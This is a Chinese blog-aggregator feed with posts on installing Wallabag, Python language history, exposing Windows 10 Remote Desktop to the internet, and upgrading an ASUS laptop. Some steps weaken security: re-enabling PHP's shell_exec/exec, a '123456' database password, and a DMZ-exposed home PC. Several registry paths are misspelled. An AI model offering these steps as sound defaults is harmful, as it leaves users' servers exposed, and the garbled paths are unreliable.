echo 'extension=tidy.so' > /usr/local/php/etc/php.d/ext-tidy.ini

开启被禁函数

/usr/local/php/etc/php.ini 中搜索 disable_functions
删除以下函数:

  • shell_exec()
  • proc_open()
  • exec()
  • proc_get_status ()

为Wallabag创建数据库和用户

常规操作,phpmyadmin和命令行都行,这里使用命令行

mysql -u root -p
MySQL [(none)]> CREATE DATABASE wallabag;
MySQL [(none)]> CREATE USER wallabag@localhost;
MySQL [(none)]> SET PASSWORD FOR wallabag@localhost= PASSWORD("123456");
MySQL [(none)]> GRANT ALL PRIVILEGES ON wallabag.* TO wallabag@localhost IDENTIFIED BY '123456';
MySQL [(none)]> FLUSH PRIVILEGES;
MySQL [(none)]> \q

下载Wallabag

首先在 Github 下载 Wallabag

git clone https://github.com/wallabag/wallabag

checkout最新分支,我安装时是2.3.8:

$ cd wallabag/
$ git checkout 2.3.8
Note: checking out '2.3.8'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by performing another checkout.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -b with the checkout command again. Example:

  git checkout -b <new-branch-name>

HEAD is now at 9bbafdaa... Release wallabag 2.3.8

配置Wallabag

在目录中继续输入

SYMFONY_ENV=prod php composer.phar install --no-dev -o --prefer-dist

SYMFONY_ENV=prod 告诉symfony我们正在生产环境中安装Wallabag。该 --no-dev 标志确保在生产环境中不安装任何开发包。composer将下载并安装所有必需的依赖项。--prefer-dist 表示下载zip包而不是直接clone。
之后会要求配置一些东西,根据提示操作就好:

数据库

我用的mysql

Creating the "app/config/parameters.yml" file
Some parameters are missing. Please provide them.
database_driver (pdo_mysql): ## 我用的mysql,直接回车
database_host (127.0.0.1): localhost## 自定义
database_port (null): ## 自定义
database_name (wallabag): ## 数据库名
database_user (root): ## 数据库用户名
database_password (null): ## 数据库密码
database_path (null): ## 路径
database_table_prefix (wallabag_): ## 前缀
database_socket (null): ## 自定义
database_charset (utf8mb4): ## 自定义
domain_name ('https://your-wallabag-url-instance.com'): https://mark.spiritx.xyz ## 域名

邮箱设置

看需求,我是个人使用,没配置邮箱

mailer_transport (smtp): 
mailer_user (null): 
mailer_password (null): 
mailer_host (127.0.0.1): 
mailer_port (false): 
mailer_encryption (null): 
mailer_auth_mode (null): 
locale (en): 
secret (CHANGE_ME_TO_SOMETHING_SECRET_AND_RANDOM): 
twofactor_auth (true): 
twofactor_sender ([email protected]): 
fosuser_registration (true): 
fosuser_confirmation (true): 
from_email ([email protected]): 

杂项设置

默认就好

rss_limit (50): 
rabbitmq_host (localhost): 
rabbitmq_port (5672): 
rabbitmq_user (guest): 
rabbitmq_password (guest): 
rabbitmq_prefetch_count (10): 
redis_scheme (tcp): 
redis_host (localhost): 
redis_port (6379): 
redis_path (null): 
redis_password (null): 
sentry_dsn (null): 

安装Wallabag

完成前面的步骤后,开始Wallabag的安装,输入下面命令

php bin/console wallabag:install --env=prod

之后如下:

Wallabag installer
==================

Step 1 of 4: Checking system requirements.
------------------------------------------
 ------------------------ -------- ---------------- 
  Checked                  Status   Recommendation  
 ------------------------ -------- ---------------- 
  PDO Driver (pdo_mysql)   OK!                      
  Database connection      OK!                      
  Database version         OK!                      
  curl_exec                OK!                      
  curl_multi_init          OK!                      
 ------------------------ -------- ---------------- 

 [OK] Success! Your system can run wallabag properly.                                                                   

Step 2 of 4: Setting up database.
---------------------------------
 It appears that your database already exists. Would you like to reset it? (yes/no) [no]:
 > 
 Creating schema...
 Clearing the cache...
 Database successfully setup.
Step 3 of 4: Administration setup.
----------------------------------
 Would you like to create a new admin user (recommended)? (yes/no) [yes]:
 > 
 Username [wallabag]:
 > spirit ## 输入用户名
 Password [wallabag]:
 > ## 输入密码(不会显示)
 Email [[email protected]]:
 > ## 输入邮箱(随便啦,反正我没配置邮件服务器
 Administration successfully setup.
Step 4 of 4: Config setup.
--------------------------
 Config successfully setup.

 [OK] Wallabag has been successfully installed.                                                                         


 [OK] You can now configure your web server, see https://doc.wallabag.org                                               

装完把Wallabag移动到域名目录,别忘了 chown -R www.www ./* ,防止出现api访问错误

配置Nginx

完成后访问 web 目录下的 app.php 就能使用了,但我觉得这样不好看,于是重新写了下Nginx
index index.php; 修改为 index app.php;
root /data/wwwroot/mark.spiritx.xyz; 修改为 root /data/wwwroot/mark.spiritx.xyz/web;
增加一个块

  location / {
    try_files $uri /app.php$is_args$args;
  }

重庆Nginx之后直接访问域名 mark.spiritx.xyz 就能使用啦 :哦吼吼:

后记

Wallabag提供了浏览器插件和手机app,可以更方便的访问Wallabag,下面以chrome扩展为例
点击 API clients management后再点击Create a new client创建一个api

在扩展中填入刚才创建的api的信息,保存

之后就能愉快地使用啦~ ~
附地址:
Firefox addon: https://addons.mozilla.org/firefox/addon/wallabagger/
Chrome addon: https://chrome.google.com/webstore/...
Opera addon: https://addons.opera.com/en/extensions/details/wallabagger/?display=en
Android: via F-Droid / via Google Play
iOS: https://itunes.apple.com/app/wallabag-2/id1170800946?mt=8
Windows Phone: https://www.microsoft.com/store/apps/wallabag/9nblggh11646

by Spirit at July 07, 2019 06:52 AM

June 30, 2019

pythoncat

编程语言之问:何时该借用,何时该创造?

6 月 22 日,Python 之父 Guido 发了一条推特,说了 Python 的一则历史故事,他说 elif 是从 C 语言中偷过来的:
elif 是“else if”的简写,用于条件判断。当只有两个分支时,我们会写成“if…else…”,当出现更多分支时,我们会写成如下格式:
if 判断条件1:
    做事情1
elif 判断条件2:
    做事情2
else:
    做其它事
简写而成的 elif 不仅是减少了几个字符,而且由于单一而清晰的用途,它还不会给我们带来理解或使用上的困惑。
但是,简写法并不是主流,完整写法才是主流,C 语言中就是采用完整的写法:
if(判断条件1)
{
   做事情1
}
else if(判断条件2)
{
   做事情2
}
else 
{
   做其它事
}
没错,C 语言使用的是全拼写法,但是在它的预处理/预编译语句中,还有一个 elif 指令,Guido 所说的“偷”,就是从这来的:
#if 常量表达式1
// 编译1
#elif 常量表达式2
// 编译2
#else
// 编译3
#endif
Python 没有预编译,所以所谓的偷,跟预编译没有关系,只是在对比两种写法后,借用了更简洁的写法而已。
为什么 C 语言不把两种写法统一起来呢?这我不得而知了,而 Guido 在两种写法中,选择了后一种非主流却更好用的写法。我想对他说,你“偷”得好啊!
实际上,留言区里的人也有同感,纷纷表示:不介意、很 okay、非常喜欢,还有人说“不是偷,而是收获(harvested)”、“不是偷,而是把它提升了一些高度”……
前不久,我写了一篇《聊聊 print 的前世今生》,print 这个词就是从 C 语言中借用来的。除此之外,如果有人仔细比较这两种语言的关键字和习惯命名,肯定会发现不少相同的内容。
编程语言间有一些共享的元素,这很常见,创造一门语言并不意味着要原创每一个词句,毕竟大部分思想是共通的,作为基础设施的词语更是如此。
那么,我突然好奇了:创造一门编程语言时,什么时候该借用,什么时候该创造呢?
这个问题看起来可能没啥意义,因为终其一生,我们多数人也不大可能会参与创造一门编程语言。
但我觉得它还是极有意义的,首先,提问精神值得肯定,其次,它还提供了一种溯源、甄别、遴选、创造的体系性视角,我认为这是求知的正确思维方式。
带着这个疑惑,我特别想要考察的是 Python 的 for 循环。
如果你有其它语言基础,就知道 “for 循环”通常指的是这样的三段式结构:
for ( init; condition; increment ){
   statement(s);
}

// java
for(int x = 10; x < 20; x = x+1) {
    System.out.print("value of x : " + x );
    System.out.print("\n");
}
这种 C 风格的写法是很初级的东西,不少语言都借用了。但是,它的写法实在繁琐,为了更方便地遍历集合中的元素,人们在 for 循环之外又引入了升级版的 foreach 循环:
// java
int[] a = {1,2,3};
for(int i : a){
    System.out.print(i + ",");
}

// C#
int[] a = {1,2,3};
foreach(int i in a){
    System.Console.WriteLine(i);
}
Python 中也有 for 循环,但是,它借用有度,在设计上早早就有自己独到的考虑,它直接摒弃了三段式的 for 循环,而是采用类似 foreach 的一种写法:
for iterating_var in sequence:
   statements(s)

# 例子
for i in range(3):
    print(i)

for i in "hello":
    print(i)
从表面上看,Python 的 for 循环跟其它语言的 foreach 很相似,但实际上,它的工作原理却很不相同。
为什么会有不同呢?主要是因为 Python 的 for 语句用于可迭代对象上,而不仅仅是用于集合或者普通的容器(虽然它们也是可迭代对象),而可迭代对象还可再细分出迭代器与生成器,这会造成最终结果的极大差异。
先看看两个例子:
# 例1,普通可迭代对象
x = [1, 2, 3]
for i in x:
    print(i)
for i in x:
    print(i)

# 例2,迭代器或生成器
y = iter([1, 2, 3])
# y = (i for i in [1,2,3])
for i in y:
    print(i)
for i in y:
    print(i)
例 1 中,“1 2 3”会被打印两次,而在例 2 中,则只会打印一次。
普通可迭代对象只有 __iter__() 魔术方法,而不像迭代器一样拥有 __next__() 魔术方法,这意味着它无法实现 自遍历 过程,同时在经过 for 循环的 它遍历 后,也不会破坏原有的结构。(这两个是我创造的概念,详见《Python进阶:迭代器与迭代器切片》)。
但是,迭代器是一种匮乏的设计,具有单向损耗的特性,遍历一次后就会被破坏掉,不能重复利用。(关于迭代器的设计问题,这篇文章值得一看《当谈论迭代器时,我谈些什么?》)。
这表明了,Python 中 for 循环的使用场景很广阔,而且它还可能带来非纯结果,即重复执行同样的代码块,会出现不同的结果。
这是不是跟别的语言很不同了呢?相同的关键字,相似的循环思想与写法,但是,带来的影响却有差别。
关于 Python 的 for 循环,还有一个很独特的设计,即 for-else 结构:
x = [1, 2, 3]
for i in x:
    print(i, end = " ")
else:
    print("ok")

# 输出:1 2 3 ok
本文开头提到了 if-else 结构,只有在不满足 if 条件时,才会执行到 else 部分,也就是说,如果 if 语句为真,那执行完它的语句块后,就会跳过 else 部分。
这是一种非此即彼的并行关系 ,直白地说是“如果…就…;否则就…” 。
但是,对于 for-else 结构,for 语句并不是在做真值判断,它的程序体必然会执行(除非可迭代对象为空),执行后还会继续执行 else 部分。
所以,它是一种先此后彼的串行关系 ,翻译出来则是“对于…就…;然后…”。
这种结构肯定不是从 C 语言中借用来的,至于是否为 Python 所独创,我不确定(大概率是,姑且认为是吧),如果有知情的同学,烦请告知。
那么,为什么 Python 要加上这种设计呢,它有什么实际的用途么?
x = [1,2,3]
for i in x:
    if i % 2 == 0:
        print(i)   # match
        break
else:
    print("mismatch")
上例的 for 部分增加了一个判断以及 break,这个 break 不仅会跳出 for 循环本身,还会跳过 else 部分。
上例的作用是查找偶数,如果找到则打印出来,如果 for 循环遍历完都找不到,则进入到 else 分支,打印“mismatch”的结果。
所以,其实 else 是 for 循环有没有正常遍历结束的标记,如果在循环后没有达到某种目标而跳出(break、return 或者 raise),就可以在 else 中做必要的补充(记录日志、抛出异常等等)。
这种设计并不算一个好的设计,因为 else 会带来误解(if-else 那种非此即彼的关系),而且它的最大用途需要结合 break 等跳出循环的操作,但是这层信息却非显而易见的。
在核心开发者的邮件列表里,就有不少争论点,2009 年的这封邮件梳理了大家的讨论(https://mail.python.org/pipermail/python-ideas/2009-October/006155.html)。
其中,有开发者提议:
  • 移除这个写法
  • 如果用了却没写 break,就生成告警提示
  • 替换 else 关键字(如 then、finally、else no break)
  • 增加其它的功能
这封邮件一一列举了这些观点的提出原因及改进想法,然后又一一地反驳了它们,最后的结论是保持 for-else 写法不变,也就是大家现在看到的实现方式。它的完整语义是:
execute the for-loop (or while-loop)
if you reach a `break`, jump to the end of the `for...else` block
else execute the `else` suite
也就是说,else 对标的是“是否执行 break”,如果没有 break,则进入else。
但是,我并不认可这种做法,因为 break 是隐含条件,在直观上我们只看到了 for-else,很容易产生 if-else 那样的联想。因此,我反而赞同把 else 改为 then,以消除误会。
这封邮件的反驳意见是,改成 then 会引入新的关键字,因此不好。
我认为这个说法有些牵强(从使用者的角度),还记得本文开头的内容么,elif 就是新引入的关键字啊,看看它现在是多受欢迎。
elif 属于那种初看不知何意,但知道后肯定会记住的词,而且也不大可能拼写错误。为了这点简洁易拼写的好处,它就被引入成新的关键字了。
for-else 中的 else 属于那种初看以为知道含义的词,但实际却表达着不同意思(准确地说是,由于不知道隐含条件,而造成的误解),为了清晰语义的好处,我认为可以引入新的关键词 then 来替代 else。
不过,我转念一想,现在讨论这个已经没有意义了,毕竟时间已经过去了,那都是 10 年前的讨论了。
如果在 Python 创造之初,或者在 Python 3 大版本改动之初,这个讨论就被提出,那很可能 for-else 会被设计成 for-then ,then 会像引入 elif 关键词一样被引入。
如果是那样,说不定 Guido 某天心血来潮说起这则历史小故事,留言区又会出现一大片的赞同之声呢。
聊到这里,意犹未尽,但主题似乎有点跑偏,我们来稍微总结几个要点吧:
  • Python 从 C 中借用了 elif,受到赞许
  • Python 没有借用 C 传统的三段式 for 循环
  • Python 采用类似 foreach 的表达,但应用范围更广
  • Python 的 for 循环由于迭代器的设计原因,会造成一些陷阱
  • Python 创造了 for-else 结构,它的隐含语义是 for-(if break)-else,曾有讨论是否要创造新的关键词替换 for-else,但是被否决了
本文谈到的内容很微小,好像没有什么实际的帮助,不知道 elif 来源、不知道 for 循环的细节、不知道 for-else 的用途与争论,这些统统都不会造成语言使用上的障碍。
但我还是那个观点:

阅读 Python 的历史,从中你可以看到设计者们对功能细节的打磨过程,最终你就明白了,Python 是如何一步一步地发展成今天的样子。

这在我看来挺有趣的,更加增进了我对于 Python 的了解,以后在编程到某些用法的时候,脑海里满满都是故事,它顿时也会变得立体生动起来。

June 30, 2019 12:00 AM

June 23, 2019

pythoncat

聊聊 print 的前世今生

(一)
上周,我翻译了一篇文章,解释了为什么 Python 3 把 print 改为函数? 概括有如下几点原因:1、print 不适宜作为应用程序级的语句。2、改为一个函数,可以实现更复杂的功能。3、改为一个函数,能方便地进行替换。
在 Python 2 中,print 是个语句(statement),它的级别就跟 for、if、def 等关键字相同,这是一个古老的设计(毕竟 Python 诞生于 1989 年),改成 print() 函数,意味着它升级了。
在查阅资料的时候,我发现 print 在历代版本中,一直发展变化,到了今天,它自身已足够完善了,可是外部的挑战一直不断。
因此,这篇文章再来聊聊它:介绍 print 的现状,追溯它的历史,说说它的挑战者,挖挖那些更加本质的东西。
(二)
在 3.0 版本中,print() 函数全新登场,开发者可以自定义打印对象的间隔(默认是空格)、终止方式(默认是换行)、以及输出位置(默认是标准输出 sys.stdout)。
而到了 3.3 版本,它还添加了一个新的参数,可以决定是否要刷新数据流。
至此,这个函数的完整格式就变成了 print(*objects, sep=' ', end='\n', file=sys.stdout, flush=False) ,与升级前的 print 语句是天壤之别啦。
优点是显而易见的,可定制的参数带来了使用场景的扩充。
(三)
其实,在这次大版本的改动之前,早期的 print 语句并非是一成不变的,核心开发者们一直在完善它。
例如,在 2000 年的 PEP-214 之前,print 语句只能用于标准输出(sys.stdout),只有当提出这个提案后,print 才可以打印内容到类文件对象(file-like object)中。
(注:PEP 即 Python 改进提案,更多介绍详见旧文《学习Python,怎能不懂点PEP呢?》)
这次调整后,它的写法可以如下(其中,mylogfile 是用于记录打印信息的文件路径):
print >> mylogfile, 'this message goes to my log file'
在只接触过 Python 3 的同学眼里,这个写法可能很别扭吧,其实它等同于如今的:
print('this message goes to my log file', file = mylogfile)
(四)
上例是一次成功的改进,但有趣的是,社区内也有一次失败的修改提案。
与 print() 函数相同,print 语句在打印完一个对象后,默认会换行,因此,当打印的内容自带了换行符的时候,最终的打印结果就会出现一个多余的换行。
2001 年的时候,有开发者在 PEP-259 中提议,根据打印的最后一个字符的类型,设置几个标志位,以此决定是否要默认换行。校验规则如下:
  • -1 ——如果最后一个对象是以换行符结束的字符串
  • 0 ——如果最后一个对象是以空白字符结尾的字符串,既不是空格也不是换行符
  • 1 ——在所有其它情况下(包括最后一个对象是空字符串或不是字符串的情况)
根据这些规则,print 语句遇到 -1 标志位的时候,就不再做默认的换行了,似乎可以解决多余换行的问题。
然而,这个提案被否决了。反对的意见主要是:这样可能会破坏掉无数个 CGI 脚本,而且 Python 中已经有太多的“魔法”了。
这一套规则确实太神奇了,幸好没有实施。在当前的版本中,只需调整 end 参数,就可以避免多余换行的问题。
(五)
阅读过往的 PEP 文档,就是在阅读 Python 的历史,从中你可以看到设计者们对功能细节的打磨过程,最终你就明白了,Python 是如何一步一步地发展成今天的样子。
不过,历史中除了能看到精华,也可以看到一些包袱。print() 函数的升级就是在甩掉包袱,前不久我写了《聊聊 Python 的内置电池》,聊到了 Python 中废弃部分标准库的话题,也是一个很好的观察例子。
除此之外,“print”的命名本身也算是一种包袱。
早期的计算机使用纸带作为信息载体,程序的运算结果需要 print 在纸带上,所以顺理成章地,有些编程语言就使用了“print”来表示程序的输出操作。尽管后来不再使用纸带了,一些语言仍然延用这个词,例如 C 语言以及借鉴了 C 语言的 Python。
Python 的另一个借鉴对象是 Shell,这是一种古老的脚本语言,可它没有“print”的包袱,它用的是 echo。这个词的本意是回声,后来也指雷达的回波,被用于计算机编程中,则又被赋予了“应答、回显”之义,更直白的表述应该是“输出、打印”。
Python 从 C 中借用了“print”命名,又从 Shell 中借用语句式的表达,形成了自己 print 语句,如今到了新的版本,它去除了语句式的表达,却仍保留着原始命名,可以说这个包袱是永远脱不掉了。
但是,话说回来,词语在演化过程中会获得新的生命,它的意义全在于如何使用。所以,虽然没有了纸带这个物理载体,print 这个词却“改头换面”地活了下来。
它还拥有很多的表兄弟姐妹呢,非常热闹(试试你能认出几个?):
print("点个赞吧!")
printf("点个赞吧!");
print_r('点个赞吧!');
var_dump('点个赞吧!');
NSLog(@"点个赞吧!");
System.out.println("点个赞吧!");
console.log("点个赞吧!");
cout << "点个赞吧!" << endl;
Console.WriteLine("点个赞吧!");
writeln('点个赞吧!')
fmt.Println("点个赞吧!");
Response.Write("点个赞吧!");
alert("点个赞吧!")
echo "点个赞吧!"
puts "点个赞吧!"
say "点个赞吧!";  
(六)
语言内部的发展历史,以及不同语言的相似表述,都表明着一件事,那就是打印操作很重要,而且我们对它的要求还很复杂多样。
Python 中的 print 语句能发展成今天的 print() 函数,已经非常完善了。
不过,需求是无止境的,作为最常用的调试手段,print() 还达不到十全十美。它的好处是简单直白、容易上手,但缺点则是功能单一、效率较低,在需要定制格式的频繁使用场景下,不堪大用。
这在不同编程语言中是通病,因此大家都默契地提供了用于调试的日志模块,例如 Java 的 log4j,C++ 的 log4cxx,当然还有 Python 的 logging。
日志模块 logging 可以说是对 print() 函数的替代式升级,主要优点是更加灵活高效,例如可以设置不同的日志等级、配置多样的格式化信息、甚至可以输出日志到远程服务器上。
当然,日志模块只是一种解决方案,也并不是最完美的。
在 Python 中还有一些模块可以用于调试,例如最主流的 pdb,它可以设置断点、分步调试、查看栈片段、动态调值等,用得好,有奇效。主流的 IDE 工具也都提供了一些调试手段,相比于简单的 print(),它们具有降维打击的优势。
今年 4 月,Github 上开源了一个专用于调试程序的库,名叫 PySnooper ,短短两个月,它就收获了近 12K 个关注。这个三方库的口号是“Never use print for debugging again”,其目标就是在调试代码时完全替代 print。
这个库的用法非常简单,只需一行代码,就可以实现对整个函数的监听,做到记录每一行的执行时间、记录每个变量的赋值等等,而且还可以使用“with”语句,监听部分的代码块,或者使用“watch”命令,专门监听特定的变量值。
这个库强大而惊艳,除了上述作用,它还能监听指定格式开头的代码,能在多线程中监听线程,甚至支持用户自定义的监听规则。难怪它一经面世,就好评如潮,人人奔走相告。
snoop 这个单词很有意思,它指的是嗅探、窥探和监听。首字母大写的 Snoop ,译作史努比,则是一只被很多人喜爱的漫画小狗。所以这个 PySnooper 库就令我不由地产生了一种联想:它是一只嗅觉异常敏锐的小狗,明白无误地为你执行各种监听任务。
(七)
最后,我们可以来回顾一下 print 的发展历史了,有两条线索,一条是它自身发展的明线,另一条是它的挑战者们的暗线。
先看明线吧,早期版本的 print 语句带有 C 和 Shell 的影子,它是个应用程序级的 statement,使用十几年间,有过一些改进的尝试,例如 PEP-214 和 PEP-259;到了 2009 年的大版本 3.0,Python 把 print 语句改成了 print() 函数,使它成为了众多内置函数的一员,随后在 3.3 版本,又对它做了一次功能增强,至此,它完成了自己的华丽蜕变,占据了稳固的一席之地。
至于暗线,print 的竞争对手们可谓众多,像传统的日志模块 logging、调试模块 pdb、以及主流 IDE 的调试功能,等等,如今还有一位后起之秀 PySnooper,无不瞄准了 print 的位置,摩拳擦掌,虎视眈眈。
print 一词最早应该跟纸带相关,用途和需求场景都很少,如今的计算机世界已经不可同日而语,所以才促进了 print 自身的发展,也刺激了众多对手们的崛起。
print 代表了一种诉求/思想:输出计算结果、记录程序过程、监察对象变化,然后用于查看、分析、调试、展示等等。
明线上的发展,就是继承了它的名字,壮大 print;暗线上的发展,则是继承了它的思想,为了实现目的,各施手段,百花齐放。
print 当然不是 Python 所特有的,这明暗两线的发展也同理,如果你把视野放到任何一个经得起时间考验的语言上,必然也会看到相似的发展历程与竞争故事。

June 23, 2019 12:00 AM

June 22, 2019

anji66

WIN10开启远程桌面设置(广域网远程桌面)

承接上篇:关机后远程唤醒的配置,简单实现广域网远程开机和连接。去年那电脑挂了以后,一直也没用上远程桌面,所以上篇中提到的配置远程桌面的文章也一直没写,最近要用上了,顺手记录一下。虽然网上有很多类似教程,不过很少有从配置远程桌面到内网穿透的全部过程,因系统版本存在不同,所以关于注册表的可能略有差异,原理一样的,多看下值就明白了。当然如果不想搞这么复杂,TeamViewer远控软件操作简单,连接稳定,你值得拥有。不过西枫里还是喜欢windows的远程桌面,就是不想装个软件,无他。


一、打开系统远程桌面。

1、允许连接。需要在系统属性里面打开远程桌面连接。具体:右键此电脑->属性->远程设置->允许远程连接到此计算机。如图所示。

1.jpg

2、账户授权。上图中选择用户按钮点开,一般情况下当前登录系统的管理员账户默认已经取得了授权,如果没有显示当前账户已经有访问权的话,需要通过下方添加按钮来添加允许账户,操作很简单,就不说了。

2.jpg


二、确认远程桌面服务已启动。

具体查看:右键此电脑->管理->服务和应用程序->服务。右侧服务列表中,按R键快速定位到Remote Desktop这里。具体看图中这两项,双击打开,确保看到服务状态显示为正在运行。

3.jpg

好,其实如果你做好了上述两步,你的远程桌面在局域网端已经可以使用了。接下来,我们需要对安全性做下设置,接着再开启广域网访问。


三、修改远程桌面端口。

1、系统默认的远程桌面端口3389,风险太高,所以改个自定义端口是必不可少的。因为在远程桌面的设置里面并没有提供端口修改的地方,需要进入注册表进行修改。具体:打开注册表编辑器,在开始运行或者搜索里面输入regedit就可以打开或找到。,然后看左侧的注册表树,定位到HKEY_LOCAL_MACHINE\SYSTEM\CurrentContro1Set\Control\Tenninal Server\Wds\Tds\tcp这里。右侧找到PortNumber项,双击切换到十进制,改成你自定义的端口。建议改到高位端口。啥,什么是高位端口,自行百度一下吧,这里不是本文的重点。

4.jpg

5.jpg

2、改完上述位置,再次定位到HKEY_LOCAL_MACHINE\SYSTEM\CurrentContro1Set\Control\Tenninal Server\WinStations\RDP-Tcp。同样右侧PortNumber项双击,十进制,改成和上述相同的端口号。


四、修改系统防火墙入栈规则。

当然有人说直接关闭系统防火墙不就好了,多省事。因为我们后面需要在广域网访问,电脑是直接暴露在公网上的,关闭防火墙,你是想找死么?

1、具体操作:在注册表编辑器中定位到HKEY_LOCAL_MACHINE\SYSTEM\CurrentContro1Set\services\sharedAccess\Defaults\FirewallPolicy\FirewallRules。右侧按R键快速定位到RemoteDesktop-UserMode-In-TCP项,双击后再数值数据中找到LPort=3389这里,将3389改成前述你自定义的端口号。其实如果只用动态域名访问远程桌面的话,有In-Tcp这一项就够了,为了可能会使用到UDP端口软件操作的话,将下面一项RemoteDesktop-UserMode-In-UDP中的LPort的端口号一并给改了。

6.jpg

2、和前面改端口号一样,防火墙规则也出现在两处。另一处定位到HKEY_LOCAL_MACHINE\SYSTEM\CurrentContro1Set\services\sharedAccess\Parameters\FirewallPolicy\FirewallRules和上面这步一样,改LPort端口号即可,不说了。

3、改完注册表后,重启电脑。然后进入控制面板,windows防火墙,打开后左侧高级设置,入站规则,拉到最下,在远程桌面的两个项目中双击,切换到协议和端口,看下本地端口是否显示的和你前面设置的自定端口一致,如果不一致,证明前述操作没有生效,请检查一下。具体看图吧。

8.jpg

9.jpg

10.jpg


五、设置虚拟服务器和DMZ主机。

这个其实在文章开头提到的那篇广域网开机的文章中已经讲过了,这里不详细说了,因为每个人的路由器都不同,不过设置都大同小异。我这里主要是要新建一个虚拟服务器规则。内外部端口号全部设置成前面设置的那个自定义端口好,后面的协议选择ALL,就是包含了TCP和UDP协议的。

7.jpg

做到这一步后,就已经能在广域网实现远程桌面了,这时候你再远程桌面连接里面输入IP加端口号就能连接了。不过等等,难道我每次在外面连家里电脑需要先查看下IP不成?当然不用。


六、动态域名绑定。

上一篇文章里面也提到了动态域名绑定,不多说了。以前一直用花生壳,最近这个企业级路由里面还内置了科迈和3322的动态域名。科迈的页面太搓,没申请。3322的申请了一个,速度还不错诶,感觉不花生壳要好。在路由器上绑定好了动态域名,设置好DMZ主机和虚拟服务器后。所有操作均已完成。


最后可以尝试下在另外一个网络下,通过打开远程桌面连接窗口,输入动态域名加端口号,点连接试试看吧。

11.jpg


by 西枫里 at June 22, 2019 05:12 AM

June 16, 2019

anji66

华硕N53S升级教程(含更换屏幕)

话说最近女儿总是霸占着我的电脑看她的巧虎、佩奇、猪猪侠、汪汪队,导致我需要临时处理个事情得跟她借半天的电脑,一急躁弄的不好又把她惹的哭鼻子,没办法就临时把我的库存笔记本掏出来应个急啥的。我这台库存笔记本,打从2011年买来,几乎就没怎么用过,以前偶尔带着去客户那儿,后来就一直放仓库吃灰。除了该死的日立硬盘嘎嘎响之外,倒也没啥毛病,毕竟用的少。所以为了临时能解决个工作的事情,打算给这破本做个升级。主要是增加个内存,换个固态啥的。

01.jpg


第一步,当然是选配件。

1、内存是第一要务,所以得找合适的内存,原机只有4G,现在4G带个win10简直是噩梦。笔记本内存有电压区分,有1.35V和1.5V等多种版本,所以那天我拆了后盖看了一下,在内存插槽的塑料支架上印着有,是1.5V的。再一个看下原内存规格,DDR3的,容量么,我想8G内存临时工作用用够了,所以万能淘宝,还是很容易找到合适的内存的,上次攒台式机,对威刚的印象大为改观,所以这次还选了威刚的这款,如你需要,某宝点击这里查看,某东点击这里查看


2、提升性能立竿见影的当然是用固态硬盘。笛大佬鼎力推荐,“偷西吧”的货应该可靠。240G装系统装软件足够了,说不定还折腾两个分区出来倒腾linux。另外就是我要的是增加固态,而不是单纯替换机械,所以我得拆了我的光驱,这就牵扯一个问题,需要适配一个光驱支架,有尺寸大小的区别,所以这个我直接咨询了卖家,没去查原光驱参数了。这个破本需要12.7寸的支架。卖家还送了一堆杂七杂八的工具,链接在这里,某宝点击查看。某东点击查看


3、换了该死的日立,嘎啦嘎啦的声响我觉得是日立的通病,况且这是块750G的硬盘,这么奇葩的容量百分百的阉割盘,指不定哪里体格不达标(坏道)。一般于我而言,机械硬盘希捷是首选,临时工作用,1T容量足矣足矣,某宝链接地址,某东链接地址。那么问题来了,原日立盘怎么办,毕竟扔了可惜,留着鸡肋。要不上个硬盘盒改移动硬盘吧。


4、额外买个硬盘盒改造移动硬盘。这个那帮坏人推荐我买斐讯的壳,泥煤,斐讯这种辣鸡怎么能入我的法眼。我还是买个便宜货随便用用好了,毕竟一个16G的U盘都还没塞满。对了,你们要买移动硬盘盒,无需买那种额外供电的,应为一块机械硬盘的耗电量小的惊人。你问我最后买了啥硬盘盒,囔,某宝链接地址,某东链接地址


5、原电脑用的1366*768的奇美屏,尼玛像素颗粒感太强悍,难受,所以这也是为啥这台电脑一直成为我库存的因素之一。网上找了一圈,都没有合适的IPS屏,甚至大多数买家直接跟我说不能升级,不能更换,因为电脑太老了。最后找到了一家,卖家满口说完全可以换,我也就没多问了,只要1920*1080的高清屏就行,不要那么大的像素间距。最后老板发了这块15.6寸的TN屏面板过来,另外加了一个高分线,因为原屏线不能支持高分辨率,只能换。可以点击这里查看屏幕面板,友达的屏,虽然不是我中意的,虽然不是IPS的,不过比原厂的好太多了,将就用吧。

02.jpg

03.jpg


第二步,明螺丝大法,装内存,固态和机械硬盘。

1、先来厘清几个概念,关于电脑的ABCD面,笔记本合上,从上至下,分别是外壳A面,屏幕B面,键盘C面,后盖D面。关于D面的的区域,我列在途中了,主要是电池仓,扩展仓、检修仓。

18.jpg

03-1.jpg


2、拆掉四个塑胶脚垫,会露出4个螺丝。拆掉其中两个就能打开扩展仓了。左边是硬盘仓,右边是内存仓。看下内存规格。安装内存,笔记本内存是倾斜插入,然后平按至两个卡扣自动卡到位就OK了。硬盘需要拆除上面的三个螺丝,然后拽住尾部的黑色拉力带,横向拉动,就能取下硬盘的了,拧下硬盘支架上的四个螺丝,让支架和硬盘分家,然后将固态硬盘装在硬盘支架上,拧好螺丝,原样插入即可。

04.jpg

06.jpg

05.jpg

07.jpg

08.jpg

09.jpg


3、拆除键盘和排线。得先拆除掉键盘,看下键盘顶部的横向位置,分别有多个图中这样的卡扣,选择平口螺丝刀将卡扣顶回去,然后键盘就自动翘起来了,依次打开这些卡扣就能取下键盘,但是要注意,键盘下面有排线,别一下力度太大拉断了排线。这时将键盘翻过来,就能看到这排线了,图中三个排线分别是键盘排线、触摸板排线、顶部的是电源等功能键的排线。拆开方式不尽相同。键盘的排线是最宽的这个,很简单用平口螺丝刀侧边在白色卡扣的两端分别按箭头方向用力,卡扣就松了,就能取下排线了。触摸板的排线就是键盘排线边上这根,仔细看,白色卡扣方式和键盘线不一样,所以需要用平口螺丝刀总下面往上撬起,翻过来,排线自动脱落。顶部的电源键排线和键盘排线相反,用螺丝刀侧口拨动黑色卡扣,排线自动脱落。

10.jpg

11.jpg


4、拆除光驱。途中这颗螺丝拧下,用螺丝刀顶住方框位置,按箭头方向用力拨动,光驱就从光驱位中移出了。对了,你们看到每个螺丝边上都印有编号,其实这是螺丝类型。这次整个拆装过程主要有这几个型号,X3,X4,X5,X7,X10。你可以把相同型号的螺丝放一起。装的时候就不会错了,而不需要将螺丝位置标注,那太二了点。

12.jpg


